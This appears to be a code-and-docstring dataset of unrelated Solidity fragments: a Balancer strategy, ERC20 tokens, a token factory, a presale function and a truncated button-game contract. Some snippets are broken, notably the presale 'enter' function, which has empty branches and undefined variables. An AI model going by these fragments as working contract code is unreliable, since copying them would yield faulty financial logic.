address _keeper, address _balancerVault, address _balancerPool, uint256 _maxSlippageIn, uint256 _maxSlippageOut, uint256 _maxSingleDeposit, uint256 _minDepositPeriod ) external returns (address payable newStrategy) { require(isOriginal); bytes20 addressBytes = bytes20(address(this)); assembly { // EIP-1167 bytecode let clone_code := mload(0x40) mstore(clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone_code, 0x14), addressBytes) mstore(add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) newStrategy := create(0, clone_code, 0x37) } Strategy(newStrategy).initialize( _vault, _strategist, _rewards, _keeper, _balancerVault, _balancerPool, _maxSlippageIn, _maxSlippageOut, _maxSingleDeposit, _minDepositPeriod ); emit Cloned(newStrategy); } // ******** OVERRIDE THESE METHODS FROM BASE CONTRACT ************ function name() external view override returns (string memory) { // Add your own name here, suggestion e.g. "StrategyCreamYFI" return string(abi.encodePacked("SingleSidedBalancer ", bpt.symbol(), "Pool ", ERC20(address(want)).symbol())); } function estimatedTotalAssets() public view override returns (uint256) { return etaCached; } // There is no way to calculate the total asset without doing a tx call. function estimateTotalAssets() public returns (uint256 _wants) { etaCached = balanceOfWant().add(balanceOfPooled()); return etaCached; } function prepareReturn(uint256 _debtOutstanding) internal override returns (uint256 _profit, uint256 _loss, uint256 _debtPayment){ uint256 total = estimateTotalAssets(); uint256 debt = vault.strategies(address(this)).totalDebt; uint toCollect = total > debt ? total.sub(debt) : 0; if (_debtOutstanding > 0) { (_debtPayment, _loss) = liquidatePosition(_debtOutstanding); } uint256 beforeWant = balanceOfWant(); // 2 forms of profit. Incentivized rewards (BAL+other) and pool fees (want) collectTradingFees(toCollect); sellRewards(); uint256 afterWant = balanceOfWant(); _profit = afterWant.sub(beforeWant); if (_profit > _loss) { _profit = _profit.sub(_loss); _loss = 0; } else { _loss = _loss.sub(_profit); _profit = 0; } } function adjustPosition(uint256 _debtOutstanding) internal override { if (now - lastDepositTime < minDepositPeriod) { return; } uint256 pooledBefore = balanceOfPooled(); uint256[] memory maxAmountsIn = new uint256[](numTokens); uint256 amountIn = Math.min(maxSingleDeposit, balanceOfWant()); maxAmountsIn[tokenIndex] = amountIn; if (maxAmountsIn[tokenIndex] > 0) { uint256[] memory amountsIn = new uint256[](numTokens); amountsIn[tokenIndex] = amountIn; bytes memory userData = abi.encode(IBalancerVault.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT, amountsIn, 0); IBalancerVault.JoinPoolRequest memory request = IBalancerVault.JoinPoolRequest(assets, maxAmountsIn, userData, false); balancerVault.joinPool(balancerPoolId, address(this), address(this), request); uint256 pooledDelta = balanceOfPooled().sub(pooledBefore); uint256 joinSlipped = amountIn > pooledDelta ? amountIn.sub(pooledDelta) : 0; uint256 maxLoss = amountIn.mul(maxSlippageIn).div(basisOne); require(joinSlipped <= maxLoss, "Exceeded maxSlippageIn!"); lastDepositTime = now; } } function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _liquidatedAmount, uint256 _loss){ if (estimateTotalAssets() < _amountNeeded) { _liquidatedAmount = liquidateAllPositions(); return (_liquidatedAmount, _amountNeeded.sub(_liquidatedAmount)); } uint256 looseAmount = balanceOfWant(); if (_amountNeeded > looseAmount) { uint256 toExitAmount = _amountNeeded.sub(looseAmount); _sellBptForExactToken(toExitAmount); _liquidatedAmount = Math.min(balanceOfWant(), _amountNeeded); _loss = _amountNeeded.sub(_liquidatedAmount); _enforceSlippageOut(toExitAmount, _liquidatedAmount.sub(looseAmount)); } else { _liquidatedAmount = _amountNeeded; } } function liquidateAllPositions() internal override returns (uint256 liquidated) { uint eta = estimateTotalAssets(); uint256 bpts = balanceOfBpt(); if (bpts > 0) { // exit entire position for single token. Could revert due to single exit limit enforced by balancer bytes memory userData = abi.encode(IBalancerVault.ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, bpts, tokenIndex); IBalancerVault.ExitPoolRequest memory request = IBalancerVault.ExitPoolRequest(assets, minAmountsOut, userData, false); balancerVault.exitPool(balancerPoolId, address(this), address(this), request); } liquidated = balanceOfWant(); _enforceSlippageOut(eta, liquidated); return liquidated; } function prepareMigration(address _newStrategy) internal override { bpt.transfer(_newStrategy, balanceOfBpt()); for (uint i = 0; i < rewardTokens.length; i++) { IERC20 token = rewardTokens[i]; uint256 balance = token.balanceOf(address(this)); if (balance > 0) { token.transfer(_newStrategy, balance); } } } function protectedTokens() internal view override returns (address[] memory){} function ethToWant(uint256 _amtInWei) public view override returns (uint256){} function tendTrigger(uint256 callCostInWei) public view override returns (bool) { return now.sub(lastDepositTime) > minDepositPeriod && balanceOfWant() > 0; } function harvestTrigger(uint256 callCostInWei) public view override returns (bool){ bool hasRewards; for (uint8 i = 0; i < rewardTokens.length; i++) { ERC20 rewardToken = ERC20(address(rewardTokens[i])); uint decReward = rewardToken.decimals(); uint decWant = ERC20(address(want)).decimals(); if (rewardToken.balanceOf(address(this)) > 10 ** (decReward > decWant ? decReward.sub(decWant) : 0)) { hasRewards = true; break; } } return super.harvestTrigger(callCostInWei) && hasRewards; } // HELPERS // function sellRewards() internal { for (uint8 i = 0; i < rewardTokens.length; i++) { ERC20 rewardToken = ERC20(address(rewardTokens[i])); uint256 amount = rewardToken.balanceOf(address(this)); uint decReward = rewardToken.decimals(); uint decWant = ERC20(address(want)).decimals(); if (amount > 10 ** (decReward > decWant ? decReward.sub(decWant) : 0)) { uint length = swapSteps[i].poolIds.length; IBalancerVault.BatchSwapStep[] memory steps = new IBalancerVault.BatchSwapStep[](length); int[] memory limits = new int[](length + 1); limits[0] = int(amount); for (uint j = 0; j < length; j++) { steps[j] = IBalancerVault.BatchSwapStep(swapSteps[i].poolIds[j], j, j + 1, j == 0 ? amount : 0, abi.encode(0) ); } balancerVault.batchSwap(IBalancerVault.SwapKind.GIVEN_IN, steps, swapSteps[i].assets, IBalancerVault.FundManagement(address(this), false, address(this), false), limits, now + 10); } } } function collectTradingFees(uint _profit) internal { if (_profit > 0) { _sellBptForExactToken(_profit); } } function balanceOfWant() public view returns (uint256 _amount){ return want.balanceOf(address(this)); } function balanceOfBpt() public view returns (uint256 _amount){ return bpt.balanceOf(address(this)); } function balanceOfReward(uint256 index) public view returns (uint256 _amount){ return rewardTokens[index].balanceOf(address(this)); } function balanceOfPooled() public returns (uint256 _amount){ uint256 totalWantPooled; uint bpts = balanceOfBpt(); if (bpts > 0) { (IERC20[] memory tokens,uint256[] memory totalBalances,uint256 lastChangeBlock) = balancerVault.getPoolTokens(balancerPoolId); for (uint8 i = 0; i < numTokens; i++) { uint256 tokenPooled = totalBalances[i].mul(bpts).div(bpt.totalSupply()); if (tokenPooled > 0) { if (tokens[i] != want) { // single step bc doing one swap within own pool i.e. wsteth -> weth IBalancerVault.BatchSwapStep[] memory steps = new IBalancerVault.BatchSwapStep[](1); steps[0] = IBalancerVault.BatchSwapStep(balancerPoolId, tokenIndex == 0 ? 1 : 0, tokenIndex, tokenPooled, abi.encode(0) ); // 2 assets of the pool, ordered by trade direction i.e. wsteth -> weth IAsset[] memory path = new IAsset[](2); path[0] = IAsset(address(tokenIndex == 0 ? tokens[1] : tokens[0])); path[1] = IAsset(address(want)); tokenPooled = uint(- balancerVault.queryBatchSwap(IBalancerVault.SwapKind.GIVEN_IN, steps, path, IBalancerVault.FundManagement(address(this), false, address(this), false))[1]); } totalWantPooled += tokenPooled; } } } return totalWantPooled; } function _getSwapRequest(IERC20 token, uint256 amount, uint256 lastChangeBlock) internal view returns (IBalancerPool.SwapRequest memory request){ return IBalancerPool.SwapRequest(IBalancerPool.SwapKind.GIVEN_IN, token, want, amount, balancerPoolId, lastChangeBlock, address(this), address(this), abi.encode(0) ); } function _sellBptForExactToken(uint256 _amountTokenOut) internal { uint256[] memory amountsOut = new uint256[](numTokens); amountsOut[tokenIndex] = _amountTokenOut; bytes memory userData = abi.encode(IBalancerVault.ExitKind.BPT_IN_FOR_EXACT_TOKENS_OUT, amountsOut, balanceOfBpt()); IBalancerVault.ExitPoolRequest memory request = IBalancerVault.ExitPoolRequest(assets, minAmountsOut, userData, false); balancerVault.exitPool(balancerPoolId, address(this), address(this), request); } // for partnership rewards like Lido or airdrops function whitelistRewards(address _rewardToken, SwapSteps memory _steps) public onlyVaultManagers { IERC20 token = IERC20(_rewardToken); token.approve(address(balancerVault), max); rewardTokens.push(token); swapSteps.push(_steps); } function delistAllRewards() public onlyVaultManagers { for (uint i = 0; i < rewardTokens.length; i++) { rewardTokens[i].approve(address(balancerVault), 0); } IERC20[] memory noRewardTokens; rewardTokens = noRewardTokens; delete swapSteps; } function numRewards() public view returns (uint256 _num){ return rewardTokens.length; } function setParams(uint256 _maxSlippageIn, uint256 _maxSlippageOut, uint256 _maxSingleDeposit, uint256 _minDepositPeriod) public onlyVaultManagers { require(_maxSlippageIn <= basisOne, "maxSlippageIn too high"); maxSlippageIn = _maxSlippageIn; require(_maxSlippageOut <= basisOne, "maxSlippageOut too high"); maxSlippageOut = _maxSlippageOut; maxSingleDeposit = _maxSingleDeposit; minDepositPeriod = _minDepositPeriod; } function _enforceSlippageOut(uint _intended, uint _actual) internal { // enforce that amount exited didn't slip beyond our tolerance // just in case there's positive slippage uint256 exitSlipped = _intended > _actual ? _intended.sub(_actual) : 0; uint256 maxLoss = _intended.mul(maxSlippageOut).div(basisOne); require(exitSlipped <= maxLoss, "Exceeded maxSlippageOut!"); } function getSwapSteps() public view returns (SwapSteps[] memory){ return swapSteps; } receive() external payable {} }
exit entire position for single token. Could revert due to single exit limit enforced by balancer
function liquidateAllPositions() internal override returns (uint256 liquidated) { uint eta = estimateTotalAssets(); uint256 bpts = balanceOfBpt(); if (bpts > 0) { bytes memory userData = abi.encode(IBalancerVault.ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, bpts, tokenIndex); IBalancerVault.ExitPoolRequest memory request = IBalancerVault.ExitPoolRequest(assets, minAmountsOut, userData, false); balancerVault.exitPool(balancerPoolId, address(this), address(this), request); } liquidated = balanceOfWant(); _enforceSlippageOut(eta, liquidated); return liquidated; }
6,030,200
./full_match/4/0x2B786AEf1F5e7f53894f231498FaF157C89e3569/sources/misscontract.sol
Computes the winning proposal taking all previous votes into account. return winningProposal_ index of winning proposal in the proposals array/
function pwsmcxmqw() public view returns (uint winningProposal_) { uint winningVoteCount = 0; for (uint p = 0; p < proposals.length; p++) { if (proposals[p].voteCount > winningVoteCount) { winningVoteCount = proposals[p].voteCount; winningProposal_ = p; } } }
12,487,576
./full_match/1/0x8FdC361B24d174aFbecA71eBC5fA3ff6Edd38607/sources/src/utils/ownable/Ownable2StepUpgradeable.sol
Forces an ownership transfer from any sender _newOwner New owner to transfer contract to Ensure is called only from trusted internal code, no access control checks.
function _transferOwnership(address _newOwner) internal { emit OwnerUpdated(_owner, _newOwner); _owner = _newOwner; if (_pendingOwner != address(0)) { delete _pendingOwner; } }
8,298,427
./partial_match/3/0xdF73B7b46980EFcB500bcB4819AA4c7d4F756eB4/sources/TrueINR.sol
Destoys `amount` tokens from `account`, reducing the total supply. Emits a `Transfer` event with `to` set to the zero address. Requirements - `account` cannot be the zero address. - `account` must have at least `amount` tokens./
function burn(address account, uint256 value) public whenNotPaused onlyOwner{ require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); balances[account] = balances[account].sub(value); emit Transfer(account, address(0), value); }
5,167,952
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./SaveToken.sol"; contract SaveTokenFactory { // addresses of deployed saveTokens address[] public saveTokens; address internal admin; event SaveTokenCreated(address addr); /* * @notice Constructor to set admin for the SaveToken contracts * @param _admin The admin's address */ constructor(address _admin) { admin = _admin; } /* * @notice creates a new SaveToken contract * @param underlyingToken The underlying token address * @param assetAdapter The address of the Asset adapter a token will use * @param assetToken The addresses for the asset token * @param insuranceAdapter The address of the Insurance adapter a token will use * @param insuranceToken The addresses for the insurance token * @param exchangeFactory The addresses for the exchange factory * @param farmerAddress The addresses for the SaveToken farmer */ function createSaveToken( address underlyingToken, address assetAdapter, address assetToken, address insuranceAdapter, address insuranceToken, address exchangeFactory, address farmerAddress, string memory name, string memory symbol, uint8 decimals ) public returns (address) { SaveToken saveToken = new SaveToken( underlyingToken, assetAdapter, assetToken, insuranceAdapter, insuranceToken, exchangeFactory, farmerAddress, admin, name, symbol, decimals ); saveTokens.push(address(saveToken)); emit SaveTokenCreated(address(saveToken)); return address(saveToken); } }
creates a new SaveToken contract underlyingToken The underlying token address assetAdapter The address of the Asset adapter a token will use assetToken The addresses for the asset token insuranceAdapter The address of the Insurance adapter a token will use insuranceToken The addresses for the insurance token exchangeFactory The addresses for the exchange factory farmerAddress The addresses for the SaveToken farmer/
function createSaveToken( address underlyingToken, address assetAdapter, address assetToken, address insuranceAdapter, address insuranceToken, address exchangeFactory, address farmerAddress, string memory name, string memory symbol, uint8 decimals ) public returns (address) { SaveToken saveToken = new SaveToken( underlyingToken, assetAdapter, assetToken, insuranceAdapter, insuranceToken, exchangeFactory, farmerAddress, admin, name, symbol, decimals ); saveTokens.push(address(saveToken)); emit SaveTokenCreated(address(saveToken)); return address(saveToken); }
5,470,108
./full_match/1/0x96a7c18650DEDf9E76355f3f0458B027B789e201/sources/localhost/presale.sol
Low level presale enter function _amount the wei amount _code referral code/ calculate base tokens calculate daily bonus
function enter(uint256 _amount, bytes12 _code) public payable active { require(msg.value == _amount); require(msg.sender != address(0)); require(valid(msg.sender, _amount)); require(referrals[_code] != address(0), "referral code is invalid"); require(referrals[_code] != msg.sender, "can not use your own referral code"); uint256 acquired; uint256 amount; amount = _amount.mul(rate).div(1e18); require(distributable(amount), "not enough tokens for distribution"); uint256 dailyBonus; if (block.timestamp <= start.add(1 days)) { } else if (block.timestamp <= start.add(2 days)) { } else if (block.timestamp <= start.add(3 days)) { } else if (block.timestamp <= start.add(4 days)) { } if (dailyBonus > 0) { if (distributable(amount.add(dailyBonus))) { acquired = acquired.add(dailyBonus); emit DailyBonusEarned(msg.sender, dailyBonus); } } if (referralBonus > 0) { if (distributable(amount.add(acquired).add(referralBonus))) { address referrer = referrals[_code]; uint256 referrerBonus = amount.mul(referralRateReferrer).div(referralRateBase); uint256 depositorBonus = amount.mul(referralRateDepositor).div(referralRateBase); balances[referrer] = balances[referrer].add(referrerBonus); bonus[referrer].count = bonus[referrer].count.add(1); bonus[referrer].amount = bonus[referrer].amount.add(referrerBonus); acquired = acquired.add(depositorBonus); total = total.add(referrerBonus); emit ReferrerEarned(referrer, msg.sender, referrerBonus); emit DepositorEarned(msg.sender, depositorBonus); } } deposits[msg.sender] = deposits[msg.sender].add(_amount); balances[msg.sender] = balances[msg.sender].add(distribution); emit PresaleEntered(msg.sender, amount, distribution); deposited = deposited.add(_amount); depositors = depositors.add(1); total = total.add(distribution); }
9,776,466
./full_match/1/0x5eF6501044f39Cc5B55575eC0d6216817DE137D5/sources/browser/IValidatorRegistry.sol
Validator Registry Interface
interface IValidatorRegistry { function isValidator(address _validator) external view returns (bool _isValidator); function getSubstantialLevel(address _validator) external view returns (bool _substantialLevel); pragma solidity ^0.6.11; }
16,495,905
pragma solidity ^0.5.0; library SafeMath { uint256 constant internal MAX_UINT = 2 ** 256 - 1; // max uint256 /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns(uint256) { if (_a == 0) { return 0; } require(MAX_UINT / _a >= _b); return _a * _b; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns(uint256) { require(_b != 0); return _a / _b; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns(uint256) { require(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns(uint256) { require(MAX_UINT - _a >= _b); return _a + _b; } } contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract StandardToken { using SafeMath for uint256; mapping(address => uint256) internal balances; mapping(address => mapping(address => uint256)) internal allowed; uint256 internal totalSupply_; event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 vaule ); /** * @dev Total number of tokens in existence */ function totalSupply() public view returns(uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns(uint256) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns(uint256) { return allowed[_owner][_spender]; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns(bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns(bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns(bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns(bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function _burn(address account, uint256 value) internal { require(account != address(0)); totalSupply_ = totalSupply_.sub(value); balances[account] = balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender&#39;s allowance for said account. Uses the * internal burn function. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[account][msg.sender] = allowed[account][msg.sender].sub(value); _burn(account, value); } } contract BurnableToken is StandardToken { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The address which you want to send tokens from * @param value uint256 The amount of token to be burned */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns(bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns(bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns(bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns(bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns(bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract TestToken is PausableToken, BurnableToken { string public name; // name of Token string public symbol; // symbol of Token uint8 public decimals; constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _INIT_TOTALSUPPLY, address _owner) public { require(_owner != address(0)); totalSupply_ = _INIT_TOTALSUPPLY * 10 ** uint256(_decimals); balances[_owner] = totalSupply_; name = _name; symbol = _symbol; decimals = _decimals; owner = _owner; emit Transfer(address(0), owner, totalSupply_); } }
Burns a specific amount of tokens. value The amount of token to be burned./
function burn(uint256 value) public { _burn(msg.sender, value); }
2,183,307
pragma solidity^0.4.24; contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; function DSAuth() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } library DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } interface ERC20 { function balanceOf(address src) external view returns (uint); function totalSupply() external view returns (uint); function allowance(address tokenOwner, address spender) external constant returns (uint remaining); function transfer(address to, uint tokens) external returns (bool success); function approve(address spender, uint tokens) external returns (bool success); function transferFrom(address from, address to, uint tokens) external returns (bool success); } contract Accounting { using DSMath for uint; bool internal _in; modifier noReentrance() { require(!_in); _in = true; _; _in = false; } //keeping track of total ETH and token balances uint public totalETH; mapping (address => uint) public totalTokenBalances; struct Account { bytes32 name; uint balanceETH; mapping (address => uint) tokenBalances; } Account base = Account({ name: "Base", balanceETH: 0 }); event ETHDeposited(bytes32 indexed account, address indexed from, uint value); event ETHSent(bytes32 indexed account, address indexed to, uint value); event ETHTransferred(bytes32 indexed fromAccount, bytes32 indexed toAccount, uint value); event TokenTransferred(bytes32 indexed fromAccount, bytes32 indexed toAccount, address indexed token, uint value); event TokenDeposited(bytes32 indexed account, address indexed token, address indexed from, uint value); event TokenSent(bytes32 indexed account, address indexed token, address indexed to, uint value); function baseETHBalance() public constant returns(uint) { return base.balanceETH; } function baseTokenBalance(address token) public constant returns(uint) { return base.tokenBalances[token]; } function depositETH(Account storage a, address _from, uint _value) internal { a.balanceETH = a.balanceETH.add(_value); totalETH = totalETH.add(_value); emit ETHDeposited(a.name, _from, _value); } function depositToken(Account storage a, address _token, address _from, uint _value) internal noReentrance { require(ERC20(_token).transferFrom(_from, address(this), _value)); totalTokenBalances[_token] = totalTokenBalances[_token].add(_value); a.tokenBalances[_token] = a.tokenBalances[_token].add(_value); emit TokenDeposited(a.name, _token, _from, _value); } function sendETH(Account storage a, address _to, uint _value) internal noReentrance { require(a.balanceETH >= _value); require(_to != address(0)); a.balanceETH = a.balanceETH.sub(_value); totalETH = totalETH.sub(_value); _to.transfer(_value); emit ETHSent(a.name, _to, _value); } function transact(Account storage a, address _to, uint _value, bytes data) internal noReentrance { require(a.balanceETH >= _value); require(_to != address(0)); a.balanceETH = a.balanceETH.sub(_value); totalETH = totalETH.sub(_value); require(_to.call.value(_value)(data)); emit ETHSent(a.name, _to, _value); } function sendToken(Account storage a, address _token, address _to, uint _value) internal noReentrance { require(a.tokenBalances[_token] >= _value); require(_to != address(0)); a.tokenBalances[_token] = a.tokenBalances[_token].sub(_value); totalTokenBalances[_token] = totalTokenBalances[_token].sub(_value); require(ERC20(_token).transfer(_to, _value)); emit TokenSent(a.name, _token, _to, _value); } function transferETH(Account storage _from, Account storage _to, uint _value) internal { require(_from.balanceETH >= _value); _from.balanceETH = _from.balanceETH.sub(_value); _to.balanceETH = _to.balanceETH.add(_value); emit ETHTransferred(_from.name, _to.name, _value); } function transferToken(Account storage _from, Account storage _to, address _token, uint _value) internal { require(_from.tokenBalances[_token] >= _value); _from.tokenBalances[_token] = _from.tokenBalances[_token].sub(_value); _to.tokenBalances[_token] = _to.tokenBalances[_token].add(_value); emit TokenTransferred(_from.name, _to.name, _token, _value); } function balanceETH(Account storage toAccount, uint _value) internal { require(address(this).balance >= totalETH.add(_value)); depositETH(toAccount, address(this), _value); } function balanceToken(Account storage toAccount, address _token, uint _value) internal noReentrance { uint balance = ERC20(_token).balanceOf(this); require(balance >= totalTokenBalances[_token].add(_value)); toAccount.tokenBalances[_token] = toAccount.tokenBalances[_token].add(_value); emit TokenDeposited(toAccount.name, _token, address(this), _value); } } ///Base contract with all the events, getters, and simple logic contract ButtonBase is DSAuth, Accounting { ///Using a the original DSMath as a library using DSMath for uint; uint constant ONE_PERCENT_WAD = 10 ** 16;// 1 wad is 10^18, so 1% in wad is 10^16 uint constant ONE_WAD = 10 ** 18; uint public totalRevenue; uint public totalCharity; uint public totalWon; uint public totalPresses; ///Button parameters - note that these can change uint public startingPrice = 2 finney; uint internal _priceMultiplier = 106 * 10 **16; uint32 internal _n = 4; //increase the price after every n presses uint32 internal _period = 30 minutes;// what's the period for pressing the button uint internal _newCampaignFraction = ONE_PERCENT_WAD; //1% uint internal _devFraction = 10 * ONE_PERCENT_WAD - _newCampaignFraction; //9% uint internal _charityFraction = 5 * ONE_PERCENT_WAD; //5% uint internal _jackpotFraction = 85 * ONE_PERCENT_WAD; //85% address public charityBeneficiary; ///Internal accounts to hold value: Account revenue = Account({ name: "Revenue", balanceETH: 0 }); Account nextCampaign = Account({ name: "Next Campaign", balanceETH: 0 }); Account charity = Account({ name: "Charity", balanceETH: 0 }); ///Accounts of winners mapping (address => Account) winners; /// Function modifier to put limits on how values can be set modifier limited(uint value, uint min, uint max) { require(value >= min && value <= max); _; } /// A function modifier which limits how often a function can be executed mapping (bytes4 => uint) internal _lastExecuted; modifier timeLimited(uint _howOften) { require(_lastExecuted[msg.sig].add(_howOften) <= now); _lastExecuted[msg.sig] = now; _; } ///Button events event Pressed(address by, uint paid, uint64 timeLeft); event Started(uint startingETH, uint32 period, uint i); event Winrar(address guy, uint jackpot); ///Settings changed events event CharityChanged(address newCharityBeneficiary); event ButtonParamsChanged(uint startingPrice, uint32 n, uint32 period, uint priceMul); event AccountingParamsChanged(uint devFraction, uint charityFraction, uint jackpotFraction); ///Struct that represents a button champaign struct ButtonCampaign { uint price; ///Every campaign starts with some price uint priceMultiplier;/// Price will be increased by this much every n presses uint devFraction; /// this much will go to the devs (10^16 = 